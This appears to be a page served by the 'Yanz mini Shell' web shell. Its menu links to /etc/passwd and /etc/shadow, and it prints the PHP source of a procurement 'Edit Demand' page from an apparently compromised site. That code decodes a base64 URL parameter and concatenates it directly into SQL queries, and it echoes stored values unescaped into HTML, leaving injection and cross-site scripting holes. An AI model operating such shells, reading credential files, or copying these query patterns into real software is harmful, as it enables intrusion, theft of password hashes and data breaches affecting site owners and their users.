Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
$path="admin/orna/";
require_once('admin/orna/db.php');
if(!isset($_GET["id"])){
  header("location:error.php?e=Parameters Missing"); 
  die();
}else{
  $id=base64_decode($_GET["id"]);
}
$demand_main=mysqli_fetch_assoc(mysqli_query($connection,"select * from `".$MySQL_database."`.proc_demands_m where id='".$id."' and del='N'"));

$user=mysqli_fetch_assoc(mysqli_query($connection,"select * from `".$MySQL_database."`.users where name='".$demand_main["requested_by"]."'"));
$dnum=mysqli_num_rows(mysqli_query($connection,"select * from `".$MySQL_database."`.proc_demands_m where del='N'"));
$dnum= $demand_main["demand_id"];
if($demand_main["dt"]==""){
  $d_date=date("Y-m-d");
}else{
  $d_date=date("Y-m-d",$demand_main["dt"]);
};
if($demand_main["dlv_dt"]==""){
  $dlv_date=date("Y-m-d",strtotime("+14 days"));
}else{
  $dlv_date=date("Y-m-d",$demand_main["dlv_dt"]);
};
$pagename="Edit Demand No. ".$demand_main["demand_id"];
$nextrow=2;
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">
    <meta name="keyword" content="">

<style>
      .required_label{
        display: inline;
    padding: 0.2em 0.6em 0.3em;
    font-size: 75%;
    font-weight: bold;
    line-height: 1;
    color: #fff;
    text-align: center;
    white-space: nowrap;
    vertical-align: baseline;
    border-radius: 0.25em;
      }
      #form-wrapper {
        padding: 1% 3%;
        border: none;
    }
    #proj_details {
      width: 100%;
      margin-bottom: 5px;
      min-height: 100px;
      height: auto;
  }
  #proj_details table {
    margin: 0;
    font-size: 12px;
    background:#fbfbfb;
}
#proj_details table tr th{
    width:20%;
}
  .proj_head {
    background: #2594c3;
    padding: 5px;
    border: 1px solid #ccc;
    color: #fff;
    font-weight: bold;
}
#add_row {
    position: absolute;
    top: 0;
    right: 0;
}
.itemrows {
    position: relative;
}
.remove_row {
    position: absolute;
    right: 100%;
    top: 50%;
    transform: translateY(-50%);
}
#add_row:focus, .remove_row:focus{
outline:none !important;
}
.g_totals{
  padding: 6px 12px;
}
    </style>
  </head>

<body>

<table class="table table-striped table-advance table-hover">
<thead>
<tr>
  <th class="col-md-12">
<a href="#">
<button class="btn btn-success btn-xs" id="sv"><i class="fa fa-save"></i> Update</button>
 </a>
  </th>
  <th class="col-md-10"></th>
</tr>
</thead>
</table>
<div class="progress-step">
  <div class="row">
    <div class="col-sm-12">
      <div class="bar-step">
        <div class="stepinner stepactive"><div class="stepline"></div><div class="stepnumb">1</div><div class="stepdescp">Demand Requested</div></div>
        <div class="stepinner"><div class="stepline"></div><div class="stepnumb">2</div><div class="stepdescp">In Negotiations</div></div>
        <div class="stepinner"><div class="stepline"></div><div class="stepnumb">3</div><div class="stepdescp">Approved</div></div>
        <div class="stepinner"><div class="stepline"></div><div class="stepnumb">4</div><div class="stepdescp">Purchase Order Generated</div></div>
        <div class="stepinner"><div class="stepnumb">5</div><div class="stepdescp">Delivered</div></div>
      </div>
    </div>
  </div>
</div>

<div id="title">
<div class="row">  
  <div class="col-sm-12">
<h1><?php echo ucwords($pagename);?></h1>
<p>Please fill all the required fields!</p>
  </div>
</div>
</div>

<div id="form-wrapper">
<form class="form-inline" id="form" role="form" action="admin/ajax/php/proc_demand_new.php?t_name1=proc_demands_m&t_name2=proc_demands_t&count=2&row=multi&type=update" method="POST">
<div class="row">
<p style="border-bottom: 1px solid #cecece;font-size: 0.8em;text-transform:uppercase;width:100%;">Demand Details:</p>
<input type="hidden" name="id" value="<?php echo $demand_main["id"]?>">
<input type="hidden" name="proj_id" value="<?php echo $demand_main["proj_id"]?>">
<div class="col-sm-12 col-md-10">
Requested For:
<select class="form-control select1_single" id="proj" required>
<option value="">Select Project</option>
<?php
$proj_sql="select * from `".$MySQL_database."`.project where del='N' order by title asc";
$proj_query=mysqli_query($connection,$proj_sql);
while($proj=mysqli_fetch_assoc($proj_query)){
  if($demand_main["proj_id"]==$proj["id"]){
    $selected="selected";
  }else{
    $selected="";
  }
print"<option value=\"".$proj['id']."\" $selected>".strtoupper($proj['title'])."</option>";}?>
</select>
</div>
<div class="col-sm-12 col-md-2">
Demand ID:
<input type="text" name="demand_id" class="form-control" id="dnum" value="<?php echo $dnum;?>" readonly>
</div>
</div>
<div class="row">
  <div class="col-sm-12 col-md-12">
    <div class="proj_head">Project Details:</div>
      <div class="form-control" id="proj_details" disabled>
        
      </div>
  </div>
</div>
<div class="row">
<div class="col-sm-12 col-md-4">
Subject:
<input type="text" class="form-control" name="subject" value="<?php echo $demand_main["subject"]?>" placeholder="Demand Subject">
</div>
<div class="col-sm-12 col-md-2">
Requested By:
<input type="text" class="form-control" value="<?php echo ucwords(strtolower($user["first_name"]." ".$user["last_name"]));?>" readonly>
</div>
<div class="col-sm-12 col-md-2">
Approval Status:
<input type="text" class="form-control" value="<?php echo ucwords($demand_main["status"])?>" readonly>
</div> 
  <div class="col-sm-12 col-md-2">
Demand Date:
<input type="date" class="form-control" name="dt" id="demanddt" readonly value="<?php echo $d_date;?>">
</div>
<div class="col-sm-12 col-md-2">
Expected Date:
<input type="date" class="form-control" name="dlv_dt" readonly value="<?php echo $dlv_date;?>">
</div>
</div>  
<div class="row prod_body">
  <div class="col-sm-12 col-md-12"style="margin-top: 10px;">
  <p style="border-bottom: 1px solid #cecece;font-size: 0.8em;text-transform:uppercase;width:100%;margin-top:10px;">Demand Products:</p>
  <button class="btn btn-warning btn-xs" id="add_row"><i class="fa fa-plus"></i> Add Row</button>
  </div>
  <div class="col-sm-12 col-md-12">
    <div class="col-md-1">Item ID</div>
    <div class="col-md-5">Item Name</div>    
    <div class="col-md-2">Quantity</div>
    <div class="col-md-2">Unit</div>
    <div class="col-md-2">Status</div>
  </div>
  <?php 
  $rows_sql="select * from `".$MySQL_database."`.proc_demands_t where del='N' and pdm_id='".$demand_main["id"]."'";
  $rows_query=mysqli_query($connection,$rows_sql);
  if(mysqli_num_rows($rows_query)>0){
      $sr=1;
      while($rows=mysqli_fetch_assoc($rows_query)){
        $tot=0;
        $tot=(float)$rows["qty"]*(float)$rows["rate"];
        if($sr>1){
          $rembtn='<button class="btn btn-danger btn-xs remove_row" id="removerow_'.$sr.'"><i class="fa fa-remove"></i></button>';
        }else{
          $rembtn='';
        }
        print'
          <div class="col-sm-12 col-md-12 itemrows" id="row_'.$sr.'">
          '.$rembtn.'
          <div class="col-md-1"><input type="number" class="form-control serialnum" value="'.$sr.'" disabled></div>
          <div class="col-md-5 prod_select">
              <select  class="form-control" id="select_'.$sr.'" name="prod_id[]" required>
              <option value="">Select Product</option>';
              $prod_sql="select * from `".$MySQL_database."`.prod where del='N' and type='Raw-Material' order by nm asc";
              $prod_query=mysqli_query($connection,$prod_sql);
              while($prod=mysqli_fetch_assoc($prod_query)){
                if($prod['id']==$rows["prod_id"]){
                  $selected="selected";
                }else{
                  $selected="";
                }
              print"<option value=\"".$prod['id']."\" $selected>".strtoupper($prod['nm'])."</option>";}
              print'</select>
              <input type="hidden" name="mul[]" value="">
              <input type="hidden" name="rate[]" class="rate" id="rate_'.$sr.'" value="'.$rows["rate"].'" min="0" placeholder="0">
              <input type="hidden" name="row_id[]" value="'.$rows["id"].'">
          </div>
          <div class="col-md-2"><input type="number" name="qty[]" class="form-control qty" id="qty_'.$sr.'" value="'.$rows["qty"].'" min="0" placeholder="0"></div>
          <div class="col-md-2 unt_select">
          <select  class="form-control" id="unt_'.$sr.'" name="unt[]" required>
              <option value="">Select Unit</option>
           ';
              $unt_sql="select * from `".$MySQL_database."`.unt where del='N' order by unt asc";
              $unt_query=mysqli_query($connection,$unt_sql);
              while($unit=mysqli_fetch_assoc($unt_query)){
                if($unit['unt']==$rows["unt"]){
                  $selected="selected";
                }else{
                  $selected="";
                }
              print"<option value=\"".$unit['unt']."\" $selected>".strtoupper($unit['unt'])."</option>";}
              print'</select>
            
          </div>         
          <div class="col-md-2"><input type="text" class="form-control" value="Requested" readonly></div>
        </div>
          ';
          $sr++;
      }
      $nextrow=$sr;
  }else{
    print'
    <div class="col-sm-12 col-md-12 itemrows" id="row_1">
    <div class="col-md-1"><input type="number" class="form-control serialnum" value="1" disabled></div>
    <div class="col-md-5 prod_select">
        <select  class="form-control" id="select_1" name="prod_id[]" required>
        <option value="">Select Product</option>';
        $prod_sql="select * from `".$MySQL_database."`.prod where del='N' and type='Raw-Material' order by nm asc";
        $prod_query=mysqli_query($connection,$prod_sql);
        while($prod=mysqli_fetch_assoc($prod_query)){
        print"<option value=\"".$prod['id']."\">".strtoupper($prod['nm'])."</option>";}
        print'</select>
        <input type="hidden" name="mul[]" value="">
        <input type="hidden" name="rate[]" class="form-control rate" id="rate_1" value="0" min="0" placeholder="0">
    </div>    
    <div class="col-md-2"><input type="number" name="qty[]" class="form-control qty" id="qty_1" min="0" placeholder="0"></div>   
    <div class="col-md-2 unt_select">
    <select  class="form-control" id="unt_1" name="unt[]" required>
        <option value="">Select Unit</option>
     ';
        $unt_sql="select * from `".$MySQL_database."`.unt where del='N' order by unt asc";
        $unt_query=mysqli_query($connection,$unt_sql);
        while($unit=mysqli_fetch_assoc($unt_query)){
        print"<option value=\"".$unit['unt']."\">".strtoupper($unit['unt'])."</option>";}
        print'</select>
      
    </div>
    <div class="col-md-2"><input type="text" class="form-control" value="Requested" readonly></div>
  </div>
    ';
  }
  ?>
</div>
<div class="row">
  <div class="col-sm-12 col-md-12" style="border-bottom: 1px solid #cecece;font-size: 0.8em;text-transform:uppercase;width:100%;margin-top:20px;">
  <div class="col-md-6">Totals:</div>
    <div class="col-md-2">Total Qty</div>
    <div class="col-md-4"></div>
  </div>
  <div class="col-sm-12 col-md-12">
    <div class="col-md-6"></div>
    <div class="col-md-2 g_totals" id="g_qty">0</div>
    <div class="col-md-4"></div>
  </div>
</div>
  <input type="hidden" name="status" value="requested">
  <input type="hidden" name="source" value="ProFinance">
  <input type="hidden" name="del" value="N">
  <input type="hidden" name="demand_type" value="open">
  <input type="hidden" name="requested_by" value="<?php echo $_SESSION["myusername"]?>">
</form>
</div>

</section>
      </section>
      
<div id="prod_dropdown" style="display:none;">
<select name="prod_id[]" class="form-control" id="select_<?php echo $nextrow;?>" required>
        <option value="">Select Product</option>
        <?php
        $proj_sql="select * from `".$MySQL_database."`.prod where del='N' and type='Raw-Material' order by nm asc";
        $proj_query=mysqli_query($connection,$proj_sql);
        while($proj=mysqli_fetch_assoc($proj_query)){
        print"<option value=\"".$proj['id']."\">".strtoupper($proj['nm'])."</option>";}?>
  
</select>
<input type="hidden" name="mul[]" value="">
</div>
<div id="unt_dropdown" style="display:none;">
<select  class="form-control" id="unt_<?php echo $nextrow;?>" name="unt[]" required>
        <option value="">Select Unit</option>
        <?php
        $unt_sql="select * from `".$MySQL_database."`.unt where del='N' order by unt asc";
        $unt_query=mysqli_query($connection,$unt_sql);
        while($unit=mysqli_fetch_assoc($unt_query)){
        print"<option value=\"".$unit['unt']."\">".strtoupper($unit['unt'])."</option>";}?>
        </select>
</div>
  
      
      <?php require_once("inc-core/footer.inc");?>
      
  </section>

<script src="assets/js/jquery.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script>
    <script src="assets/js/jquery.ui.touch-punch.min.js"></script>
    <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script>
    <script src="assets/js/jquery.scrollTo.min.js"></script>
    <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script>

    <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script>
    <script src="admin/ajax/js/proc_demand_new.js" type="text/javascript"></script>
    
    <script src="assets/js/common-scripts.js"></script>
    <script src="assets/js/select/select2.full.js"></script>
    <script>
        $(document).ready(function() {
            $(".select1_single").select2({
                placeholder: "SELECT PROJECT",
                allowClear: true,
                disabled:true
            });
           
        });
    </script>

</body>
</html>